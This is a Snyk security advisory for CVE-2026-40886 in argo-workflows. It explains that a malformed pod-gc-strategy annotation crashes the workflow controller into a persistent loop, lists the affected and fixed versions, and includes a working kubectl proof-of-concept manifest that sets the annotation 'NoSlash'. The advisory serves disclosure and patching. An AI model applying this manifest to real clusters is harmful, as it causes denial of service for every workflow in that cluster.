Improper Validation of Array Index Affecting github.com/argoproj/argo-workflows/v4/workflow/controller/pod package, versions >=3.6.5 <3.7.14>=4.0.0 <4.0.5
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMARGOPROJARGOWORKFLOWSV4WORKFLOWCONTROLLERPOD-16189081
- published24 Apr 2026
- disclosed24 Apr 2026
- creditVille Vesilehto
Introduced: 24 Apr 2026
CVE-2026-40886 (opens in a new tab)How to fix?
Upgrade github.com/argoproj/argo-workflows/v4/workflow/controller/pod to version 3.7.14, 4.0.5 or higher.
Overview
Affected versions of this package are vulnerable to Improper Validation of Array Index in the podGCFromPod function when parsing the workflows.argoproj.io/pod-gc-strategy annotation. An attacker can cause the controller process to crash and enter a persistent crash loop by creating a workflow pod with a malformed annotation, resulting in a denial of service for all workflow processing.
Note:
This is only exploitable if a pod with a malformed annotation is present and not manually deleted.
PoC
kubectl apply -n argo -f - <<'EOF'
apiVersion: argoproj.io/v1alpha1
kind: Workflow
metadata:
name: crash-podgc
spec:
entrypoint: main
serviceAccountName: default
podGC:
strategy: OnPodCompletion
podMetadata:
annotations:
workflows.argoproj.io/pod-gc-strategy: "NoSlash"
templates:
- name: main
container:
image: alpine:3.18
command: [echo, "hello"]
EOF